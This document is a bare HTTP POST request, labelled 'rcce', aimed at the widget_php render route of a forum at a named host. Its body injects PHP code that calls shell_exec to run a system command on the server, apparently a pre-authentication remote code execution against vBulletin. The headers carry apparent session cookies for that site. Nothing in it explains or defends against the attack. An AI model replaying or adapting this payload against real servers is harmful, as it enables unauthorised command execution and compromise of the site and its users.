rcce

POST /index.php?routestring=ajax/render/widget_php HTTP/1.1
Host: forum.webzen.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://forum.webzen.com/
Accept-Encoding: gzip, deflate
Accept-Language: ar,en-US;q=0.9,en;q=0.8,th;q=0.7,fr;q=0.6,ru;q=0.5
Cookie: vbwebzensessionhash=da9a25bcd0c2321558473f67a6e5a295; vbwebzenlastvisit=1569424662; vbwebzenlanguageid=1; PHPSESSID=ugtppbn8bt0i7kknpu57vjfsl5; vbwebzenuserstyleid=1; vbwebzenlastactivity=1569424665; _ga=GA1.2.1198144153.1569424664; _gid=GA1.2.1701724512.1569424664; __qca=P0-1005232971-1569424664125; vbwebzenlastactivity=1569426167; _dc_gtm_UA-50716969-1=1; CurrentCulture=pl-PL
Connection: close
Content-Length: 48


widgetConfig[code]=echo shell_exec('id');exit;